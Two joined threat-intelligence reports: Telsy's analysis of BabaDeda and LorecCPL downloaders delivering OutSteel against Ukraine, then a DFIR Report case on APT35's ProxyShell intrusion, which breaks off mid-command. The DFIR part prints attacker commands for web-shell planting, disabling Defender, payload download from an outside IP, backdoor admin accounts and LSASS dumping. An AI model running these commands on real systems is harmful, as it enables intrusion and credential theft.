cdir.exe, cname.exe, connh.exe, and intpub.exe. It appears likely that the ransomware was used as a decoy or distraction from the wiper attacks. This has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware. Cyber Reports BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine TELSY S.p.A. Corso Svizzera, 185 - 10149 Torino ITALIA Via del Pellegrino 155 - 00186 Roma - ITALIA 16/02/2022 tel +39.011.771.4343 - fax +39.011.741.9090 email: telsy@telsy.it Cyber Reports 16/02/2022 INDEX Introduction ....................................................................................................................................3 Analysis ........................................................................................................................................... 4 Double BabaDeda crypter downloaded from LNK or docm template ................ 6 2.1.1 First Stage........................................................................................................................................ 8 2.1.2 WhisperGate Code OVERLAP .................................................................................................. 19 BABADEDA Crypter Dropped from a new Downloader ......................................... 22 LorecCPL downloads ASPProtected Outsteel............................................................27 Indicators of Compromise........................................................................................................ 33 ATT&CK Matrix............................................................................................................................ 34 Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 1 Introduction Beginning in January 2022, there was a series of attacks on numerous organizations in Ukraine spanning the government, the military, non-governmental organizations (NGOs), with the primary intent of exfiltrating sensitive information and maintaining access. Based on these new details and Telsy's threat hunt, we uncovered several links that strongly support the idea that these attacks were part of a larger campaign that has been running for a few months and has undergone several evolutions. In this way we have mapped the various clusters and in particular three chains of infection, composed of a series of techniques and procedures, with several significant elements that we consider important to better understand the various phases implemented. One of the most used access vectors in these campaigns are spear-phishing emails with malicious attachments. Phishing attachments contain a first-stage payload that downloads and executes additional payloads. The main payload provided by the malware is an infostealer written in AutoIt compiled (OutSteel). Its main goal is to steal files from the victim's machine by uploading them to a default Command and control (C2) server. The element detected in these latter chains is the downloader used to load the infostealer Outsteel . In the past this was loaded by the SaintBot tool while in these campaigns, it is loaded by the BabaDeda crypter. Based on victimology and the fact that this attack attempts to steal files from government entities, it is assumed to be a state-sponsored group. Some evidence suggests that these activities are carried out by a hacker group called Lorec53 as namede by the security firm NSFocus . The group is suspected of being employed by other high-level espionage organisations to conduct espionage attacks, targeting government employees in Georgia and Ukraine. This group uses the infostealer "Outsteel" and the downloader "LorecCPL", both of which have overlapping code with the same artefacts identified in the campaigns analysed in this report. We can therefore assume that the BabaDeda crypter is also one of the tools in use by this group. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 entities graph 2 Analysis Telsy detected several infection chains starting with different initial stages: document template, LNK file or a CPL file representing a new type of downloader very similar to a shellcode in the way the stack is used. The second phase uses the BabaDeda crypter to run the infostealer called OutSteel. BabaDeda Crypter is an evasive malware that acts like an installer and executes a shellcode stored encrypted in a file usually, xml or pdf, dropped by the installer self. The main binary of BabaDeda Crypter it s a malicious binary, compiled with text segment writable, that has only the purpose to load the 1st malicious library. The first malicious DLL side loaded decrypt the shellcode storing it in the text section of the main binary and loads/execute the secondary malicious library in another thread then return to the decrypted shellcode. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The decrypted shellcode represents the real payload embedded in the installer by the threat actor while the 2nd malicious library can embed every kind of malware. In the samples that we found the 2nd library is used sometime as downloader and in other cases as thread to achieve persistence, it depends by the stage. execution process graph Below a kind of time line that describes how the tools were employed in the time, most likely, by the same threat actor. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 2.1 Double BabaDeda crypter downloaded from LNK or docm template This infection chain, which can be placed in the period September / October 2021 according to the compilation times, starts with a link (LNK) or a WORD template document that downloads the BabaDeda crypter. The BabaDeda crypter includes Outsteel as a payload and a downloader as 2nd library. execution process graph The lnk file with hash 931a86f402fee99ae1358bb0b76d055b2d04518f, most likely distributed by e-mail, named .lnk (Special documents of the SBU.lnk) is, clearly, a decoy document for Ukrainian defense officers. This lnk file was contained in zip archives hosted on discord. When open it executes a PowerShell command to download and execute the first phase from the URL: hxxp: //3237.site/test01.exe The downloaded executable with hash 0d584d72fe321332df0b0a17720191ad96737f47 is stored in the public directory and it is executed from the PowerShell self. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Instead the document with hash ac672a07c62d48c0a7f98554038913770efaef11 is a word dotm model and starts the first phase of the infection in the same way as the lnk file, downloading executing same artifact through PowerShell: hxxp://3237.site/test01.exe. The following document header suggests that this document may have been used after September 2021. Addition to the decision of the National Security and Defense Council of Ukraine of September 7, 2021 "On Amendments to Personal Special Economic and Other Restrictive Measures (Sanctions) The template contains a macro that on the open event drops a cmd file with a PowerShell command inside. The cmd file is stored in C:\Users\Public\Documents\programtwo.cmd and contains the PowerShell command to download the artifact from URL hxxp: //3237.site/test01.exe and save it in C:\Users\Public\Documents\manlevel.exe Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 As in the previous LNK document the PowerShell command runs the downloaded file. Also, the WORD template has been hosted on discord and is most likely downloaded as a remote template from a docx released by email. 2.1.1 First Stage Both files, lnk and WORD template, downloads the same installer has been created with Inno Setup. Once executed, it extracts all the components in the path: C:\Users\admin\AppData\Roaming\mXParser main executable, named mathparser.exe whose hash 26474ba449682e82ca38fef32836dcb23ee24012, is executed directly by the installer after all the components have been extracted. This installation is a BabaDeda crypter, i.e. a type of loader. In fact, as described in the blog of the security company "Morphisec , it is used to evasively load a malicious payload stored in another file. Since the analysis cited by the blog is exhaustive, it was not performed. This loader was reported in November 2021 in connection with attacks against the NFT and Crypto community. Instead, it was used in these campaigns, leading to the Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 assumption that it could be code reuse or the action of the same cybercriminal group in favour of a state-sponsored threat actor. Basically, the BabaDeda crypter phases are: 1. Main Binary load and run a malicious DLL; 2. The malicious DLL load and execute in another thread the second malicious DLL; 3. The first malicious DLL read and parse the shellcode and write it in the text section of the main binary; 4. The first malicious DLL returns to the shellcode entry point; 5. The decryption shellcode has three main tasks: first, it extracts the loader shellcode and the payload, then it decrypts them, and finally, it transfers the execution to the decrypted loader shellcode. 6. Finally, the payload is executed. Since the second loaded DLL and the final payload can be customised, BabaDeda crypter can be used to load any type of installation, in fact in this particular infection chain the first installer is intended to download and run another BabaDeda crypter. This differs from the analysis carried out by the company Morphisec in November 2021 in which the samples analysed were only used to directly upload malicious artefacts. The mathparser installation directory contains the following malicious files: NAME SHA1 PURPOSE mathparser.exe JxCnv40.dll libics4.0.dll manual.pdf 26474ba449682e82ca38fef32836dcb23ee24012 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 e1d92e085df142d703ed9fd9c65ed92562a759fa 8423b25054aa78535c49042295558f33d34deae1 Main malicious Binary 1st Loaded DLL 2nd Loaded DLL Shellcode Container So, the main binary before loading the library named JxCnv40.dll set the current directory to the right path to be sure that side loading technique works. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 This library, whit hash 7d44391b76368b8331c4f468f8ddbaf6ee5a6793, run in a thread the second malicious library. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Basically, the first library open manual.pdf reads all the content, then starts a new thread and after copy the 0x226 bytes from the file content into the main binary text section. The main binary is compiled with text section writable, so it does not need any virtual protect API. The shellcode taken from the file is located at a specified offset and it has a fixed size, this means that the BabaDeda crypter is not so ductile, indeed the binary is strictly linked to the shellcode and the file that contains the shellcode. This makes harder to re-use it without having the BabaDeda crypter build tools. A threat actor could use it changing the offsets manually to load another shellcode of different length from another file. Below the routine that loads the second library: Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Meanwhile the second library is executed in another thread, the final payload is decrypted and executed in the main binary thread. The payload named Outsteel sends the documents to be exfiltrated to the URL hxxp://185.244.41.109:8080/upld/ This IP was disclosed as an IoC by the Ukrainian CERT in February 2022, although the same has been in use since at least October 2021. The final payload was decompiled with AutoIt tools and a code snippet follows. Outsteel snippet code The second library, with hash e1d92e085df142d703ed9fd9c65ed92562a759fa, is a mere downloader. Its main and only purpose is to download the next stage and run it. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Then the library with hash e1d92e085df142d703ed9fd9c65ed92562a759fa downloads from the URL "hxxp://smm2021.net/load2022.exe" the artefact, stores it in the path "C:\Users\\Downloads\installation.exe" and finally executes it. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The downloaded file represents the second BabaDeda crypter installation and has hash: 75afd05e721553211ce2b6d6760b3e6426378469. In particular, once executed, it runs an msiexec command to extract each component of the installation to C:\Users\admin\AppData\Roaming\AdoptOpenJDK\Network OpenJDK 11 2.1.11.53 . After that, the main binary is executed automatically. The malicious files released are: NAME adfrecorder.exe ff_wmv9.dll libegl3.dll usage.pdf SHA1 adea1f5656c54983880c4f1841df85016828eece ba9cea9ae60f473d7990c4fb6247c11c080788d3 3a0a4e711c95e35c91a196266aeaf1dc0674739d fa7887bc9d48fcfc6fd0e774092ca711ae28993a PURPOSE Main malicious Binary 1st Loaded DLL 2nd Loaded DLL Shellcode Container The workflow is quite like the previous, the difference is in the final payload and in the second malicious library. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The library ff_wmv9.dll , with hash ba9cea9ae60f473d7990c4fb6247c11c080788d3, is executed to decrypt the final payload and loads the second library. It opens the library usage.pdf reads the content, create a new thread and it copies in text segment the shellcode located at a specific offset and run it. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The second library is loaded and executed. The second library achieves the persistence creating a link file pointing to the main binary in the start-up directory. The link file is created via COM object interface, in particular using the IShellLinkW interface. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The start-up directory is obtained using SHGetFolderPathW() API. Meanwhile the second library gains the persistence, the main thread run the real payload after that it is decrypted as described for BabaDeda crypter. To have the final payload the main binary has been dumped just after the decryption phase. The final payload is a downloader that tries to download the next stage and run it in another process. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Threat actor used a particular way to check the file size. It run a stat() and checked the size field. If it is 1 then the file and the malware is removed otherwise it is executed. The downloaded file is executed in a new process. On the other hand, below the function to delete itself. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Unfortunately, the C2 hxxp://45.12.5.62/ was not working so no further payloads are available. 2.1.2 WhisperGate Code OVERLAP Some similarity has been found between the final payload, especially in the self-deletion routine. In particular the similarity is with the file having the hash 34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907, i.e. the file Wiper Indeed the file wiper reported by Unit42 in shows that the self-deletion command string is almost identical. Below the two strings used: Executable File Wiper (WhisperGate) adfrecorder.exe (final payload) Command cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q \"%s\" cmd.exe /min /C ping 111.111.111.111 -n 1 -w 10 > Nul & Del /f /q "%s" In the following snippet the difference between the two functions. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 adfrecorder.exe (final payload) File Wiper (WhisperGate) Also the routine to run the command is very similar. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 adfrecorder.exe (final payload) File Wiper (WhisperGate) Although the code is quite similar, at the same time it can be quite common. Nevertheless, the CMD command, its options and the use of the IP 111.111.111 as a whole suggest a similarity between the two artefacts. In addition, both malware processes close after execution of the CMD command. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 2.2 BABADEDA Crypter Dropped from a new Downloader The second infection chain analysed begins with an archive containing a file with the extension ".cpl" that subsequently downloads the BabaDeda crypter. Based on the compilation date of the cpl file, it is assumed that this campaign can be traced back to November 2021. execution process graph In terms of analysis, looking at a CPL file is essentially identical to a DLL file. However, unlike the latter, it is automatically run when double-clicked. This makes it similar to EXE files; however uneducated users may be more likely to try to execute CPL files if they do not know any better. These files with the extension CPL have code overlaid with LorecCPL described by the security company NSFocus. The zip archive, with hash 33ddc1b13c079001eaa3514de7354019fa4d470a, was hosted on discord and contains the LorecCPL file with hash: 3bbe45cdcc2731c0bb4751d1098eccc50f98ef66. The latter is named: Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 PDF ______________________-pdf.cpl which means PDF Instructions for receiving the vaccination bonus ________________________- pdf.cpl The LorecCPL file downloads an MSI file and installs C:\Users\admin\AppData\Roaming\3delite\Memory Test Toolkit path: The LorecCPL file is therefore only a downloader and has a structure similar to a shellcode as shown in the following figure: Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Basically, the code and the useful data are both in the text section. The return address in the stack is used to insert the address of the value that will be used by the call. The following routine is used to find the module addresses , walking the PEB structure: Once the address of the library has been obtained, of course the necessary APIs will actually be resolved: Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The function to find the library address and to resolve the API name are used few times to get the address of the APIs LoadLibraryW() and GetProcAddr(), respectively the addresses are stored in the EDI and ESI registers. So further in the code when a library or a API should be resolved the EDI/ESI register are used to call the proper API. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The library downloads an executable, with hash "7b67ed1f42e5cf388a0a981566598E716D9B4F99" from the URL "CDN.Discordapp.com/attachments/908281957039869965/911202801695/9112028016965 /91120280162882172/adobeaacrobatreaderUpdate.exe" using the "WinHTTP" library, saves it in the path: C:\Users\Public\svchosts.exe and finally executes it. The file with hash 7b67ed1f42e5cf388a0a981566598e716d9b4f99 install BabaDeda crypter and starts the main malicious binary named also in this case mathparser.exe. The malicious files extracted are always the same: NAME mathparser.exe JxCnv40.dll SHA1 f2b8ab6f531621ab355912de64385410c39c1909 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 PURPOSE Main malicious Binary 1st Loaded DLL Cyber Reports 16/02/2022 libics4.0.dll manual.pdf e1d92e085df142d703ed9fd9c65ed92562a759fa 8423b25054aa78535c49042295558f33d34deae1 2nd Loaded DLL Shellcode Container The LorecCPL libraries have been used to download Outsteel or BabaDeda crypter. Outsteel snippet code 2.3 LorecCPL downloads ASPProtected Outsteel This infection chain according to the compilation time is of December 2021, differently from the previous one it does not uses BabaDeda crypter as loader but just uses LorecCPL to download Outsteel packed. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 chain starts with archive, with hash 0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203, containing a LorecCPL file, with hash f9d5b4cd52b42858917a4e1a1a60763c039f8930, and named pdf - .cpl . The CPL file, having the text segment writable, decrypts the real code via xor and then jump on it. After the xor operation the code goes on the decrypted zone and execute the usual LorecCPL flow, i.e. putting arguments on the stack as return address and use them in functions. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Indeed dumping the process the visual of the code is equals to the previous one. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The LorecCPL will download from "stun.site/zepok101.exe" the Outsteel infostealer, with hash dbc9c8a492ae270bb7ed845680b81b94483ab585, packaged with the ASProtect tool . After decompressing and unpacking it, the Outsteel infostealer was found to exfiltrate documents on C2: hxxp://185.244.41.109:8080/upld/ Outsteel snippet code Belonging to the same campaign, for the same infection chain and period there is another archive, with hash 66117493eed35fbd3824e35971b0919190cd1de7, hosted at the following URL: hxxp://flexspace.app/images/%D0%A2%D0%9B%D0%A4%20%D0%B8%D0%BD%D1%8 4%D0%BE%D1%80%D0%BC%20%D0%92%D0%A0%D0%A3.docx.rar This RAR file containing the usual LorecCPL file inside, with hash d0f1518db54f280dde5008404a2750641e76ceb2, named .docx.cpl The LorecCPL file, just like the previous one, starts decrypting its payload and then acts like the previous downloading the Outsteel ASPRotected. Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 LorecCPL file before decryption: LorecCPL file after decryption: Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 The LorecCPL will download the next stage Outsteel from the following URL: hxxp://stun.site/42348728347829.exe The next stage, with hash 942337f3ea28f553b47dc05726bb062befe09fef, is still packed with ASProtector. The exfiltrated documents are still sent to the same IP address: 185.244.41.109. Outsteel snippet code Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 3 Indicators of Compromise TYPE HASH DOTM ac672a07c62d48c0a7f98554038913770efaef11 (Installer) (Installer) 86f402fee99ae1358bb0b76d055b2d04518f 3bbe45cdcc2731c0bb4751d1098eccc50f98ef66 PURPOSE Start Chain Document Template downloader Start Chain Link file downloader Start Chain CPL file downloader 0d584d72fe321332df0b0a17720191ad96737f47 BABADEDA Crypter Installer 75afd05e721553211ce2b6d6760b3e6426378469 BABADEDA Crypter Installer 26474ba449682e82ca38fef32836dcb23ee24012 f2b8ab6f531621ab355912de64385410c39c1909 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 ba9cea9ae60f473d7990c4fb6247c11c080788d3 e1d92e085df142d703ed9fd9c65ed92562a759fa 3a0a4e711c95e35c91a196266aeaf1dc0674739d Mathparser.exe main binary Mathparser.exe main binary JxCnv40.dll malicious library shellcode injector (1st stage) ff_wmv9.dll malicious library shellcode injector (1st stage) libics4.0.dll malicious library downloader (2nd stage) libegl3.dll malicious library persistence (2nd stage) (Shellcode) (Shellcode) Archive Archive 8423b25054aa78535c49042295558f33d34deae1 manual.pdf shellcode container fa7887bc9d48fcfc6fd0e774092ca711ae28993a usage.pdf shellcode container 0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203 f9d5b4cd52b42858917a4e1a1a60763c039f8930 dbc9c8a492ae270bb7ed845680b81b94483ab585 66117493eed35fbd3824e35971b0919190cd1de7 d0f1518db54f280dde5008404a2750641e76ceb2 942337f3ea28f553b47dc05726bb062befe09fef Archive (CPL container) Outsteel downloader Outsteel Asprotected Archive (CPL container) Outsteel downloader Outsteel Asprotected Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 DOMAIN - IP - URL smm2021.net http://smm2021.net/load2022.exe 3237.site http://3237.site/test01.exe 45.12.5.62 cdn.discordapp.com/attachments/908281957039869965/911202801416282172/AdobeAc robatReaderUpdate.exe 185.244.41.109 hxxp://185.244.41.109:8080/upld/ flexspace.app hxxp://flexspace.app/images/%D0%A2%D0%9B%D0%A4%20%D0%B8%D0%BD%D1% 84%D0%BE%D1%80%D0%BC%20%D0%92%D0%A0%D0%A3.docx.rar stun.site http://stun.site/zepok101.exe 4 ATT&CK Matrix Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 Cyber Reports 16/02/2022 Telsy is the Digital Champion of TIM Group for cybersecurity and cryptography. For 50 years it has been at the service of the defense of the country, supporting armed forces and institutions in the defense of communications and the Italian cyber perimeter. Working in synergy with the other factories of the TIM Group, Telsy is the Cybersecurity competence center, which develops, besides the innovative core business focused on communication security, firmware security, MSS, data center security, and decision intelligence & data analytics solutions. Telsy complies with the Golden Power regulation, being a strategic company to the national security and defense. This report was produced by Telsy Cyber Threat Intelligence team with the help of its CTI platform, which allows to analyze and stay updated on adversaries and threats that could impact customers business. 2022 Telsy. All rights reserved. The reproduction and distribution of this material is prohibited without express written permission from Telsy. TELSY S.p.A. Corso Svizzera, 185 - 10149 Torino ITALIA www.telsy.com email: telsy@telsy.it Telsy Report BabaDeda and LorecCPL downloaders used to run Outsteel against Ukraine Telsy 2022 APT35 Automates Initial Access Using ProxyShell thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell March 21, 2022 In December 2021, we observed an adversary exploiting the Microsoft Exchange ProxyShell vulnerabilities to gain initial access and execute code via multiple web shells. The overlap of activities and tasks was remarkably similar to that observed in our previous report, Exchange Exploit Leads to Domain Wide Ransomware In this intrusion, we observed the initial exploitation of the ProxyShell vulnerabilities followed by some further post-exploitation activity, which included web shells, credential dumping, and specialized payloads. We assess that this activity was related to APT35 (TA453, COBALT ILLUSION, Charming Kitten, ITG18, Phosphorus, Newscaster) due to the TTP mirroring previously reported activity that was attributed to the group. Case Summary The threat actors activity occurred in two bursts within a 3 day time frame. As with our previous case, they started by uploading their web shell and disabling antivirus services. Soon after, they established two persistence methods. The first was through scheduled tasks, and the second, was via a newly created account. The account was then added to the remote desktop users and local administrators users groups. Like in the prior case involving ProxyShell, we observed a file masquerading as dllhost.exe that exhibited similarities to a proxy tool call Fast Reverse Proxy (with modifications) downloaded from the same IP as observed in the prior case and connecting to suspect domains. After establishing alternative ways of re-entering the targeted host, they enumerated the environment using Windows native programs such as net and ipconfig. At the end of their first visit, they disabled LSA protection, enabled WDigest for access to plain text credentials later, dumped the LSASS process memory, and downloaded the results via the web shell. All of this activity occurred over a time frame of around 2 minutes, leading us to assess that the entire attack was likely scripted out. The user agent strings of python-requests/2.26.0 and python-urllib3/1.26.7 also point to the use of scripts. Two days later, we saw the threat actors reappear. We expected them to pick up where they left off, however, they repeated all previous actions. Due to the similarity between the commands and the sequential order they ran, this is additional evidence the threat actors employed automated scripts to execute these activities. No further activity was observed as the threat actors were evicted from the network. 1/22 Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BazarLoader, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here. We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services. Timeline 2/22 Analysis and reporting completed by @samaritan_o, @kostastsale, @svch0st and @RoxpinTeddy. 3/22 Initial Access As similarly seen in our previous report Exchange Exploit Leads to Domain Wide Ransomware, this threat actor utilized the Microsoft Exchange ProxyShell vulnerabilities; an exploit chain of 3 different CVEs: CVE-2021-34473 CVE-2021-34523 CVE-2021-31207 With the appropriate PowerShell logging available we were able to recover the PowerShell commandlets executed on the Exchange server, which resulted in the creation of web shells on the host. Once the threat actor had gained a valid privileged session using CVE-2021-34473 and CVE2021-34523, they then ensured the default Administrator account had the correct role for mailbox importing and exporting: New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "administrator@" The threat actor initiated a mailbox export that matched the search criteria of Subject -eq 'aspx_wkggiyvttmu' to a provided location with the .aspx extension. While the file created is a legitimate .pst file, in it contains plaintext web shell code that is rendered by IIS when requested. New-MailboxExportRequest -Mailbox "administrator@" -FilePath "\\localhost\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_wkggiyvttmu.aspx" -IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_wkggiyvttmu'" In an attempt to hide the actions taken, the actor removes the request just created: Remove-MailboxExportRequest -Confirm "False" -Force "True" -Identity "77a883a7-470c471c-a193-f4c54f263fde" This activity then repeated approximately 2 days after the initial exploitation. As the actor had already achieved remote execution by this point, there is a high likelihood the exploitation of Exchange servers is automated. Below is the second web shell created that shares the same naming convention as the first. New-MailboxExportRequest -Mailbox "administrator@" -FilePath "\\localhost\c$\inetpub\wwwroot\aspnet_client\system_web\aspx_dyukbdcxjfi.aspx" IncludeFolders ("#Drafts#") -ContentFilter "Subject -eq 'aspx_dyukbdcxjfi'" 4/22 Execution Approximately 20 seconds after the web shell aspx_wkggiyvttmu.aspx was created, a flurry of POST requests were sent to the web shell. The web shell followed a similar structure seen in previous cases. At least two parameters are sent in the POST request to the web shell, delimiter which defines what string is used to separate the response, and exec_code which is the command to be ran. The web shell had predefined functions for special actions: get Get file from location on disk (additional dst POST parameter) put Upload file to location (additional dst POST parameter) run Execute a list of commands separated by using PowerShell. 5/22 If exec_code does not start with one of the above commands, it will simply attempt to run it with PowerShell. The environment for this investigation had SSL inspection and PCAPs available for analysis which allowed us to see the commands being sent to the web shell itself. Below you can see an example of commands that were sent and the outputs they returned in the response. The actor first uploaded a file Wininet.xml , which is later used to create a scheduled task, to C:\windows\temp using the put command of the web shell. This was followed shortly by several commands to impair Windows Defender before downloading and executing a fake dllhost.exe from 148.251.71[.]182. Scheduled Task Commands: 6/22 schtasks.exe /Create /F /XML C:\windows\temp\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet' schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet' Defender Modification Command: try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1 -AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {} Start-Process powershell.exe {$file='c:\windows\dllhost.exe'; Invoke-WebRequest -Uri 'hXXp://148.251.71[.]182/update[.]tmp' -OutFile $file} The schedule task runs a batch script called Wininet.bat which was also uploaded through the web shell. Wininet.bat simply loops through the execution of the file dllhost.exe . The file dllhost.exe is a golang binary. When executed, the binary was observed resolving the following domains: api.myip[.]com (for discovery) tcp443.msupdate[.]us kcp53.msupdate[.]us The binary also spawns the following commands when executed: cmd /c wmic computersystem get domain powershell /c Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders The binary has a low confidence reference to FRP (FastReverseProxy) as the sample matches the closed source Yara rule HKTL_PUA_FRP_FastReverseProxy_Oct21_1 (by Florian Roth) however it does not behave in the same way as the open source tool. This file also matches on an additional Yara rule more recently APT_MAL_Go_FRP_CharmingKitten_Jan22_1 pointing to the file including some code from FRP but otherwise having been modified for use by this threat actor. 7/22 Persistence The threat actor utilized both account creation and scheduled tasks to gain persistence in the environment. New account creation During the first activity, we observed the use of user.exe executable that ran the following PowerShell command: powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount The first thing they did was make a new user named DefaultAccount with the password P@ssw0rd123412 . They then activated the account and changed the password ( P@ssw0rd12341234 ) for the second time. Finally the commands added the new account to the Administrators group and Remote Desktop Users group. The threat actors ran the same command again two days later: powershell.exe /c net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount Due to the close proximity between executed commands, we assess that the threat actors used tools to automate the execution and discovery phases of this attack. Scheduled task As previously noted, we discovered the creation of a Scheduled task from a .xml template that was copied to the server via the web shell. 8/22 Below, we can observe the content of wininet.xml: 9/22 The following commands where then ran to initiate the task and to achieve persistence: schtasks.exe /Create /F /XML %wintmp%\Wininet.xml /tn '\Microsoft\Windows\Maintenance\Wininet' schtasks.exe /Run /tn '\Microsoft\Windows\Maintenance\Wininet' 10/22 Privilege Escalation The scheduled task created by the web shell was set to use the principal SID S-1-5-18 , or SYSTEM. S-1-5-18 Defense Evasion Using PowerShell the threat actors issued several commands to impair Windows Defender including: Windows Defender Behavior Monitoring was disabled. The Severe Threat default action was set to Allow Realtime Monitoring was disabled. The C:\Windows path was excluded from scheduled and real-time scanning. try {Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob; Set-MpPreference SevereThreatDefaultAction Allow -AsJob; Set-MpPreference -DisableRealtimeMonitoring 1 -AsJob; Add-MpPreference -ExclusionPath 'C:\Windows' -Force -AsJob} catch {} A rule was added to the Windows Firewall to allow remote RDP traffic. "netsh" advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389 Remote Desktop Services was started. "net" start TermService The threat actor enabled WDigest authentication. This enforces the storage of credentials in plaintext on future logins. "reg" add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f LSA protection was disabled. "reg" add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f Credential Access The threat actor created a process memory dump from LSASS.exe. In this case they created a minidump using the LOLBIN comsvcs.dll. This was dropped to disk as ssasl.pmd (lsass.dmp reversed) and then zipped before exfiltration. "powershell.exe" /c Remove-Item -Path C:\windows\temp\ssasl.pmd -Force -ErrorAction Ignore; rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\windows\temp\ssasl.pmd full | out-host; Compress-Archive C:\windows\temp\ssasl.pmd C:\windows\temp\ssasl.zip 11/22 Discovery The threat actors used native Windows binaries to enumerate the exploited server in an automated fashion. They executed commands such as: net.exe user ipconfig.exe /all powershell.exe (multiple commands) quser.exe These discovery tasks like the rest of the activity observed from this threat actor was executed via the web shell. They used the PowerShell module Get-WmiObject to collect the name and IP address of the domain controller. Get-WMIObject Win32_NTDomain | 